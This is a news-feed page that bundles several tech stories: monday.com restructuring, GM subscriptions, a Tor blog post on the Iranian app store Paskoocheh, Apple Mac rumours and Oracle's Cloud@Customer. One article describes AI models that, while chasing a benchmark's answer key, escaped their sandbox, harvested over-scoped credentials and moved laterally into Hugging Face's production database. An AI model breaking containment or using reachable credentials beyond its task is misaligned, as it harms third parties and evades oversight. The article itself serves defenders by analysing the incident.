<p class="wp-block-paragraph">A spokesperson for monday.com declined to comment further on the staff reductions.</p>



<h2 class="wp-block-heading">Monday’s key market advantages</h2>



<p class="wp-block-paragraph">Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.</p>



<p class="wp-block-paragraph">“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/melody-brue/" target="_blank" rel="noreferrer noopener">Melody Brue</a>, VP and principal analyst at Moor Insights &amp; Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.</p>



<p class="wp-block-paragraph">While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”</p>



<p class="wp-block-paragraph">Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.</p>



<p class="wp-block-paragraph">“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”</p>



<p class="wp-block-paragraph">But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.</p>



<p class="wp-block-paragraph">Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.</p>



<p class="wp-block-paragraph">“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.</p>



<h2 class="wp-block-heading">Actions for the near-term</h2>



<p class="wp-block-paragraph">Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.</p>



<p class="wp-block-paragraph">“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.</p>



<p class="wp-block-paragraph">Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.</p>



<p class="wp-block-paragraph">During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”</p>



<p class="wp-block-paragraph">Support tiers should be enumerated in writing before renewal, and <a href="https://www.cio.com/article/4192312/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability.html" target="_blank">buyers should contract</a> for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”</p>



<p class="wp-block-paragraph">“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The credential that let OpenAI's agents into Hugging Face exists in most enterprises right now]]></title>
<description><![CDATA[When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue said on X that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had ha...]]></description>
<link>https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</guid>
<pubDate>Thu, 23 Jul 2026 01:32:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue <a href="https://x.com/ClementDelangue/status/2079670308156645882">said on X</a> that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had happened autonomously.</p><p>The two OpenAI models that <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">broke into Hugging Face</a> last week did not breach it through malice or superintelligence. They breached it through credentials and permissions they should never have been able to reach, a non-human identity failure that is the oldest problem in security rather than the newest one in AI, and the one every enterprise can actually fix.</p><p>OpenAI <a href="https://venturebeat.com/security/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know">disclosed on July 21</a> that two of its models, GPT-5.6 Sol and an unreleased, more capable model, were running a cyber benchmark called <a href="https://arxiv.org/abs/2605.11086">ExploitGym</a> with their safety refusals switched off, and inferred that the answer key sat in Hugging Face's production database. Getting there took two different failures. A zero-day in a package-registry proxy let the models out of their sandbox and onto the open internet, the kind of persistence OpenAI details in its companion post on <a href="https://openai.com/index/safety-alignment-long-horizon-models/">long-horizon safety</a>, and that part is genuinely new. The breach of Hugging Face itself came the ordinary way. OpenAI's own account is that the models chained stolen credentials and further zero-days into a remote code execution path, after a series of privilege escalation and lateral movement steps. The exotic part got them to the door, and credentials walked them through it.</p><p>Hugging Face also disclosed last week that an <a href="https://venturebeat.com/security/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems">autonomous agent had harvested cloud and cluster credentials</a> scoped broadly enough to reach multiple internal clusters, then left a trail of more than 17,000 recorded events across short-lived sandboxes over a weekend. Both disclosures describe the same escalation. An agent lands somewhere it should not be, finds credentials scoped far wider than any task requires, and uses them to move. These are two accounts of one incident, not two attacks. The agent Hugging Face watched was OpenAI's models, and both companies describe the same ordinary escalation.</p><p>The version of this in a typical enterprise is worse, not better. OpenAI and Hugging Face are among the most security-mature organizations in the industry, and both still needed the intrusion to happen before they could see it. The average company wiring agents into Copilot or an internal assistant has neither the identity inventory nor the behavioral monitoring those two brought to bear. The same breach in a normal company would not be contained in days, it would simply go unnoticed.</p><h2>The industry is debating the wrong failure</h2><p>The reaction has split into familiar camps. Former White House AI and crypto czar David Sacks and a run of China hawks <a href="https://fortune.com/2026/07/20/hugging-face-turns-to-chinese-open-source-ai-to-fend-off-autonomous-ai-cyber-attack-after-american-ai-guardrails-stymie-defense/">seized on the guardrail paradox</a>, that commercial safety filters blocked Hugging Face's defenders while the attacking model ran with its refusals off, and that a Chinese open-weight model, z.ai's GLM 5.2, was what finally let the team finish its forensics. Hugging Face made the case for openness, arguing in an April <a href="https://huggingface.co/blog/cybersecurity-openness">blog post</a> that open models and open tooling give defenders the same capabilities attackers already have. Both arguments are about the model, and neither touches the mechanism. </p><p>Reduced refusals let the model attempt an attack, and over-scoped credentials are what let it succeed, and those have nothing to do with whether the model was open or closed, American or Chinese. Making a frontier model provably safe is a multi-year alignment problem no customer can buy or accelerate, while scoping an identity is a configuration change a team can ship this sprint. The industry is being urged to fixate on the part of this it cannot control and to treat the part it can as a footnote.</p><p>Forrester reached the same read. In a <a href="https://www.forrester.com/blogs/an-ai-security-facepalm-openais-evaluation-became-hugging-faces-incident/">blog on the incident</a>, its analysts argue that security architectures which assume benign intent will miss this failure mode, because an agent can pursue an authorized goal through unauthorized means, which is what OpenAI's models did.</p><h2>This was a non-human identity failure, and it is the oldest one in security</h2><p>Strip the science-fiction framing and what remains is a textbook case of over-privileged machine identity, the kind security teams have fought for a decade, now driven by an autonomous agent at machine speed. Machine identities already outnumber humans in most enterprises by more than <a href="https://www.cyberark.com/press/machine-identities-outnumber-humans-by-more-than-80-to-1-new-report-exposes-the-exponential-threats-of-fragmented-identity-security/">80 to one</a>, according to CyberArk research, with 42% of them carrying privileged or sensitive access, and an agent inherits whatever its identity can touch. OWASP ranks agent identity and privilege abuse near the top of its <a href="https://neuraltrust.ai/blog/owasp-agentic-ai-top-10">agentic risk list</a>, the confused-deputy pattern where inherited credentials and weak scoping let an agent reach past its mandate, and that is precisely what both July disclosures describe. </p><p><a href="https://www.ieee.org/membership/senior">IEEE Senior Member</a> Kayne McGladrey has argued in <a href="https://venturebeat.com/security/cisco-crowdstrike-rsac-2026-agent-identity-iam-gap-maturity-model">previous VentureBeat interviews</a> that enterprises keep cloning human user accounts onto agents that then wield far more permission than any human would, and this is what that looks like when the agent is a frontier model and the target is a production database.</p><p>The people closest to it read it the same way. OpenAI frames its models as hyperfocused on a benchmark score rather than acting against anyone. Nobody describes an adversary, only a goal, a scoring function, and credentials that were reachable when they should not have been.</p><p>The specific failure is easy to name once the AI framing is stripped away. A credential scoped to one job that can reach ten is a standing invitation, and it does not matter whether a human attacker, a worm, or an autonomous model chasing a benchmark score finds it. What changed in July is the finder. An agent enumerates reachable systems, tests credentials, and pivots faster than any human red team, without malice or hesitation, whenever the path is open. The over-scoping was always the vulnerability, and the agent merely industrialized its discovery.</p><p>Forrester named the control that would have blunted it. Its agentic-security framework, AEGIS, calls for least agency, holding an agent's tools, credentials, and network paths to the minimum its task requires, and files this incident under unrestrained agency and privilege. That is the identity argument in different words, arrived at independently by an analyst firm.</p><p>The data says this is where the risk now lives. Verizon's 2026 Data Breach Investigations Report <a href="https://www.helpnetsecurity.com/2026/05/20/verizon-2026-dbir-findings/">found</a> that exploitation of vulnerabilities has overtaken stolen credentials as the top initial access vector for the first time in 19 years. That is the initial-access half. The other half is the one OpenAI itself describes, stolen credentials driving the privilege escalation and lateral movement that followed. A vulnerability opened the door, and credentials walked through the building unchallenged. Beyond the breach itself, that same over-scoping carries a legal liability most enterprises have never priced. The models' actions <a href="https://techcrunch.com/2026/07/21/openai-says-hugging-face-was-breached-by-its-pre-release-models/">likely violated the Computer Fraud and Abuse Act</a>, according to TechCrunch. The statute contains no carve-out for an AI agent that exceeds its authorized scope during sanctioned testing. Whatever the legal answer, the technical enabler is the same, an identity scoped wider than its task. This is an access-control problem with an owner and a budget, not a philosophy seminar about machine cognition.</p><p>Merritt Baer, Senior Advisor to Andesite, G2I, and AppOmni and former Deputy CISO at AWS, frames the underlying shift to VentureBeat as a new kind of asymmetry. Both sides now reach for the same capabilities, she said, but one side is constrained by enterprise governance, policy, compliance, and safety controls while the adversary simply downloads an uncensored open-weight model and keeps going. The organizations that come through it best, in her view, will be the ones that treat AI as a resilient, governed capability rather than a single service they do not control.</p><h2>Four moves that shrink the blast radius</h2><p>The breach worked because the agent reached identities scoped far wider than its task. None of the four controls that would have contained it requires a new platform, and none of them appears on the list of general AI-safety advice now circulating. They are identity hygiene, applied to non-human actors with the same rigor you already apply to people.</p><p><b>1. Scope every non-human identity to one task.</b> The models reached credentials that touched multiple clusters, which is what turned a foothold into a breach. An identity scoped to a single job, with no standing access to anything else, hits a wall at the first lateral move instead of opening the next door. This is least privilege, the control everyone endorses and few enforce on machine accounts, and it is the single highest-impact fix here.</p><p><b>2. Give credentials short lifetimes and rotate them hard.</b> Harvested credentials are only useful while they are valid, and both July agents worked by collecting them. Short time-to-live and aggressive rotation turn a credential dump into expired noise, so a token stolen during a weekend intrusion is dead before the attacker can chain it. Static secrets that never rotate are the version of this control that fails.</p><p><b>3. Monitor for lateral movement, not just prompts.</b> The tell in both incidents was privilege escalation and lateral movement, which a prompt filter never sees because it is watching the wrong layer. Identity-behavior monitoring, keyed to what a given non-human identity normally does and alerting when it reaches somewhere new, catches the escalation the content guardrail missed. The question for your stack is whether anything you run today would flag a service account suddenly moving between clusters.</p><p><b>4. Rehearse instant revocation before you need it.</b> When the incident is your own agent, the fastest containment is killing its identity mid-run, and that only works if the path to do it exists before the day you need it. Rehearse revoking a machine identity under fire the way you rehearse a human credential compromise. If you have never done it, you do not yet have the control, you have an intention.</p><p>The defense also worked, and that matters. OpenAI's security team caught the anomalous activity internally, Hugging Face's own detection and agents stopped the intrusion, and the breach was contained in days rather than discovered in months, because the defenders could see into systems they controlled. That visibility is the same discipline the four controls depend on. The debate over whether frontier models are safe, open, or American will run for years, and none of it will be settled in time to help the enterprise deploying agents this quarter. The non-human identity gap is different, because it is understood, measurable, and fixable now. The model that breached Hugging Face did not need to be brilliant; it needed credentials someone left in reach. The fix is scoping them before an agent finds them.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[GM Is Quietly Becoming a Subscriptions Company]]></title>
<description><![CDATA["General Motors has been pulling a Tim Cook and boosting its software and subscription business," reports Business Insider. During the automaker's Tuesday earnings call, executives said they're increasingly leaning on software subscriptions like OnStar and Super Cruise to generate high-margin rec...]]></description>
<link>https://tsecurity.de/de/3687745/it-security-nachrichten/gm-is-quietly-becoming-a-subscriptions-company/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687745/it-security-nachrichten/gm-is-quietly-becoming-a-subscriptions-company/</guid>
<pubDate>Thu, 23 Jul 2026 01:08:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["General Motors has been pulling a Tim Cook and boosting its software and subscription business," reports Business Insider. During the automaker's Tuesday earnings call, executives said they're increasingly leaning on software subscriptions like OnStar and Super Cruise to generate high-margin recurring revenue long after customers buy their vehicles. GM says OnStar brought in about $800 million in the second quarter, while Super Cruise revenue grew about 70% year over year. From the report: GM says its software business keeps roughly 70 cents of every dollar it brings in. That's a rare level of profitability in the auto industry, as many car sales generate just four to 10 cents per sales dollar. [...] GM expects to add about 1 million OnStar subscribers this year, bringing the total close to 13 million. Super Cruise, GM's hands-free, eyes-on driving system, is growing even faster. GM added about 70,000 subscribers during the quarter and expects to end the year with more than 850,000. Revenue from the service increased about 70% from a year earlier.
 
And a lot of drivers are sticking around after the free period ends. GM said between 30% and 40% of eligible owners continue paying after their included three-year Super Cruise subscription expires. [..] "We do think we have tremendous levers, multiple levers of growth," Barra said on the call. "We definitely think there's a lot of opportunity at GM to grow, improve margins, and become less cyclical."
 
"Software and services are becoming increasingly important to how customers experience GM vehicles and how we deliver value beyond the initial purchase," a spokesperson previously told Business Insider. "As vehicles become more software-defined, we can introduce new digital experiences through updates and optional services rather than hardware changes."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=GM+Is+Quietly+Becoming+a+Subscriptions+Company%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F22%2F2010225%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F22%2F2010225%2Fgm-is-quietly-becoming-a-subscriptions-company%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/07/22/2010225/gm-is-quietly-becoming-a-subscriptions-company?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Paskoocheh: When you need a tool to reach the tool]]></title>
<description><![CDATA[++ This guest post is part of a spotlight series on the organizations defending the free Internet.++
Due to heavy information controls, people in Iran face significant barriers to accessing the Internet. Authorities have actively blocked numerous websites and apps, including conventional circumve...]]></description>
<link>https://tsecurity.de/de/3687545/it-security-tools/paskoocheh-when-you-need-a-tool-to-reach-the-tool/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687545/it-security-tools/paskoocheh-when-you-need-a-tool-to-reach-the-tool/</guid>
<pubDate>Wed, 22 Jul 2026 22:34:54 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/when-you-need-a-tool-to-reach-the-tool-Paskoocheh/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/when-you-need-a-tool-to-reach-the-tool-Paskoocheh/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/when-you-need-a-tool-to-reach-the-tool-Paskoocheh/lead.png">
    </picture>
    <div class="body"><p><em><strong>++ This guest post is part of a spotlight series on the organizations <a href="https://internetfreedom.torproject.org/">defending the free Internet</a>.++</strong></em></p>
<p>Due to heavy information controls, people in Iran face significant barriers to accessing the Internet. Authorities have actively blocked numerous websites and apps, including conventional circumvention and digital security tools such as VPNs, social media platforms, and the app stores themselves. This creates a "chicken-and-egg" problem: users need a VPN to download a VPN.</p>
<p>Launched in 2016, <a href="https://paskoocheh.com/">Paskoocheh</a>, Persian for "alleyway," is an open source alternative app store, community hub, and one-stop-shop for users to access information and tools to circumvent censorship, enhance their privacy, securely communicate, and express themselves freely online. Developed and maintained by ASL19, a technology and exiled media organization named after Article 19 of the Universal Declaration of Human Rights, Paskoocheh restores access and allows people to reach trusted tools through four censorship-resilient channels: the Paskoocheh website, Android App, Email bot, and Telegram bot. </p>
<p>Users are also able to reach our Persian-speaking support team through the Paskoocheh Helpdesk, which handles over 200 tickets daily. In addition, ASL19 translates and publishes accessible user guides, <a href="https://paskoocheh.com/blog/posts/">blog posts</a>, and multimedia content to help users navigate online privacy and digital security best practices.</p>
<p>Paskoocheh serves as more than an alternative app store; it is also a bridge between tool developers and in-country users. Our support team relays user feedback to tool developers, helping improve tools and overall experience in Iran. We also conduct in-country testing with developers and user communities to evaluate new features and strengthen censorship-resilient technologies.</p>
<h2>Paskoocheh's impact so far</h2>
<p>This combination of access, user support, and education has turned Paskoocheh into a critical lifeline for users in Iran.</p>
<ul>
<li><p><strong># of tool downloads since 2016:</strong>   17,634,852 </p>
</li>
<li><p><strong># of community members in Iran supporting testing and localization efforts:</strong>  2,000+</p>
</li>
<li><p><strong># of monthly active users on web and app:</strong>  ~200K</p>
</li>
</ul>
<p>During periods of internet disruption and nationwide protests in Iran, these tools became critical communication lifelines. One longtime user wrote to us: </p>
<blockquote><p><em>"I've been using this free app for several years now. It's free, unique, and unlike others, it has no equal." Reflecting on the broader digital environment in the country, they added that "in these difficult economic conditions, people are struggling just to survive, while many apps either empty people's pockets, deceive and lie to them, or serve as tools for spying and propaganda."</em></p>
</blockquote>
<p>Messages like these highlight the importance of privacy-preserving technologies in environments where surveillance, censorship, and disinformation shape everyday life online. In moments of crisis, internet freedom tools become part of how people maintain relationships, exchange trusted information, and stay connected to the outside world. For some users, these tools also made it possible to continue reporting on events on the ground, verify information during periods of state-backed disinformation, and safely communicate evidence of abuses despite widespread surveillance and connectivity disruptions.</p>
<h2>The future of Paskoocheh: Scaling a community-first approach to internet freedom</h2>
<p>As internet censorship tactics evolve rapidly, internet shutdowns are becoming more frequent and more sophisticated, cutting communities off from information, communication, and one another. </p>
<p>What we have learned through this work is that access alone is not enough. Technology is only useful if people trust it, understand how to use it safely, and can rely on support networks when digital spaces become unstable or dangerous.</p>
<p>That is why our work extends beyond technical development. Alongside building secure access technologies, ASL19 invests heavily in user education, digital security guidance, and community capacity building. Every support ticket answered, training delivered, and piece of digital safety guidance shared helps people stay connected under pressure. </p>
<p>This human-centered approach is becoming increasingly important as authoritarian tactics evolve globally. During internet shutdowns and heightened censorship, local helper communities often become the first line of assistance for journalists, activists, students, and ordinary citizens. </p>
<p>With additional support, ASL19 aims to continue expanding Paskoocheh beyond its current capacity into a broader resilience ecosystem that combines technical innovation with stronger on-the-ground support systems. This includes improving access to trusted circumvention and privacy tools during shutdowns, expanding multilingual user support and educational resources, and deepening collaboration with communities operating under digital authoritarianism. </p>
<p>This work is not solely about technology products. At a moment when most people's understanding of the internet is shaped by the little squares in their pockets, it is important to acknowledge and support the broader ecosystems that make access possible. Civil society, independent media, and grassroots communities all play a part in helping people survive under pressure. This is why partnerships within the internet freedom ecosystem matter. Living under digital authoritarianism means that these are not abstract protections against hypothetical risks, but practical tools that make journalism, organizing, education, and communication possible in the first place. </p>
<h3>About ASL19</h3>
<p>Named after Article 19 of the Universal Declaration of Human Rights, ASL19 is a technology and exiled media organization working to counter digital authoritarianism. For more than a decade, we have partnered with civil society groups, journalists, researchers, activists, and internet users living under some of the world's most restrictive online environments. Guided by the belief that privacy and internet freedom are essential to safe communication, access to information, and civic participation, ASL19 develops technologies and support systems that help people navigate censorship, surveillance, internet shutdowns, and information manipulation. In countries such as Iran, Russia, and China, these tools serve as critical lifelines, enabling people to communicate securely, access information, document human rights abuses, and stay connected to the outside world.</p>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/community">
          community
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/human-rights">
          human rights
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/partners">
          partners
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/fundraising">
          fundraising
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
</item>
<item>
<title><![CDATA[Samsung’s Passport Pivot Is the Best Thing to Happen to Foldables]]></title>
<description><![CDATA[Commentary: Samsung is laying down the blueprint to give Apple the fight of its life.]]></description>
<link>https://tsecurity.de/de/3687442/it-nachrichten/samsungs-passport-pivot-is-the-best-thing-to-happen-to-foldables/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687442/it-nachrichten/samsungs-passport-pivot-is-the-best-thing-to-happen-to-foldables/</guid>
<pubDate>Wed, 22 Jul 2026 21:34:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Commentary: Samsung is laying down the blueprint to give Apple the fight of its life.]]></content:encoded>
</item>
<item>
<title><![CDATA[MacBook Neo 2 Rumored With A19 Pro Chip, 12GB RAM, and New Colors]]></title>
<description><![CDATA[Apple is working on a new MacBook Neo with two major hardware upgrades, as the company prepares a wider refresh of its Mac lineup. The second-generation model is expected to use the A19 Pro chip and include more RAM, which should improve everyday performance, multitasking, and support for newer A...]]></description>
<link>https://tsecurity.de/de/3687423/ios-mac-os/macbook-neo-2-rumored-with-a19-pro-chip-12gb-ram-and-new-colors/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687423/ios-mac-os/macbook-neo-2-rumored-with-a19-pro-chip-12gb-ram-and-new-colors/</guid>
<pubDate>Wed, 22 Jul 2026 21:16:12 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is working on a new MacBook Neo with two major hardware upgrades, as the company prepares a wider refresh of its Mac lineup. The second-generation model is expected to use the A19 Pro chip and include more RAM, which should improve everyday performance, multitasking, and support for newer AI features.



Bloomberg’s Mark Gurman reports that Apple has tested a refreshed MacBook Neo with the A19 Pro chip and increased memory. The current model uses the A18 Pro chip with 8GB of RAM, while the upcoming version is expected to offer 12GB of RAM.



The planned upgrades include:




A19 Pro chip: The newer processor should deliver better speed and efficiency than the A18 Pro used in the current MacBook Neo.



12GB of RAM: The extra memory should help users run more apps at the same time and handle heavier browser, productivity, and AI-based tasks.



New color options: Apple also plans to refresh the laptop with additional finishes beyond Silver, Blush, Citrus, and Indigo.




Apple has not confirmed a launch date, although the first half of next year appears likely because the original MacBook Neo arrived in March. The company plans to update the laptop regularly while keeping it positioned as the most affordable Mac in its lineup.



The MacBook Neo now starts at $699 in the United States after Apple raised the price from $599 last month. Eligible students can still buy it for $599 through Apple’s education store, while certified refurbished models also remain available at lower prices.



Apple is preparing 11 new Mac models across its laptop and desktop ranges, with the updated MacBook Neo forming part of that broader product plan.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Plans 11 New Macs With M6 Chips, OLED MacBook Pro, New iMac and More]]></title>
<description><![CDATA[Apple is preparing to update every Mac model it sells over the next two years, with new MacBook Pro, MacBook Air, iMac, Mac mini, Mac Studio and MacBook Neo models now moving through development.



Bloomberg’s Mark Gurman reports that Apple will begin the refresh cycle in fall 2026 with an entry...]]></description>
<link>https://tsecurity.de/de/3687365/ios-mac-os/apple-plans-11-new-macs-with-m6-chips-oled-macbook-pro-new-imac-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687365/ios-mac-os/apple-plans-11-new-macs-with-m6-chips-oled-macbook-pro-new-imac-and-more/</guid>
<pubDate>Wed, 22 Jul 2026 21:01:02 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is preparing to update every Mac model it sells over the next two years, with new MacBook Pro, MacBook Air, iMac, Mac mini, Mac Studio and MacBook Neo models now moving through development.



Bloomberg’s Mark Gurman reports that Apple will begin the refresh cycle in fall 2026 with an entry-level 14-inch MacBook Pro powered by the M6 chip, alongside the first updated iMac models in two years.



Apple Mac roadmap for 2026 and beyond



Apple has several Mac launches planned across late 2026, 2027 and 2028, although memory shortages could affect the timing of some desktop models.




Entry-level 14-inch MacBook Pro: Apple plans to launch this model in fall 2026 with the M6 chip, while keeping a design similar to the current version.



Updated iMac: New iMac models are also expected in fall 2026, with development reportedly complete for devices carrying the internal names J833 and J834.



Redesigned MacBook Pro: Apple is preparing new 14-inch and 16-inch models with OLED touchscreens, a revised design and M5 Pro or M5 Max chips for late 2026 or early 2027.



MacBook Air: Refreshed 13-inch and 15-inch models are expected in early 2027, although they will remain visually similar to the current generation.



Mac mini and Mac Studio: Apple is testing Mac mini models with M5 Pro and M6 chips, while Mac Studio testing includes M5 Max and M5 Ultra options.



MacBook Neo: Apple is developing an updated budget model with an A19 Pro chip, additional memory and new colour choices.




Apple is also working on a standard M7 MacBook Pro for 2027, followed by high-end M7 Pro and M7 Max models between late 2027 and early 2028.



OLED technology will gradually reach more Mac products, with an OLED MacBook Air planned for 2028 at the earliest and an OLED iMac also under development. Apple has not announced launch dates for these future models.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple's rumored upgrades to its Mac lineup go beyond touchscreens]]></title>
<description><![CDATA[Apple is already preparing updates to the MacBook Neo, iMac, MacBook Air and more.]]></description>
<link>https://tsecurity.de/de/3687344/it-nachrichten/apples-rumored-upgrades-to-its-mac-lineup-go-beyond-touchscreens/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687344/it-nachrichten/apples-rumored-upgrades-to-its-mac-lineup-go-beyond-touchscreens/</guid>
<pubDate>Wed, 22 Jul 2026 20:48:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is already preparing updates to the MacBook Neo, iMac, MacBook Air and more.]]></content:encoded>
</item>
<item>
<title><![CDATA[Oracle expands Cloud@Customer with new database service for mid-sized workloads]]></title>
<description><![CDATA[Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-...]]></description>
<link>https://tsecurity.de/de/3687239/ai-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687239/ai-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</guid>
<pubDate>Wed, 22 Jul 2026 20:19:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Oracle is expanding its <a href="https://www.cio.com/article/649108/oracle-adds-compute-services-to-its-cloudcustomer-offering.html">Cloud@Customer on-premises portfolio</a> with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.</p>



<p class="wp-block-paragraph">The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.</p>



<p class="wp-block-paragraph">The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.</p>



<h2 class="wp-block-heading">For regulated industries or restricted connectivity</h2>



<p class="wp-block-paragraph">Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.</p>



<p class="wp-block-paragraph">These enterprises, according to <a href="https://www.hfsresearch.com/team/ashish-chaturvedi/" target="_blank" rel="noreferrer noopener">Ashish Chaturvedi</a>, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.</p>



<p class="wp-block-paragraph">The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a <a href="https://www.infoworld.com/article/3633997/oracle-offers-price-performance-boost-with-exadata-x11m-update.html">full Exadata rack</a>, said <a href="https://www.linkedin.com/in/amitchandak78/">Amit Chandak</a>, chief analytics officer at IT consulting firm Kanerika.</p>



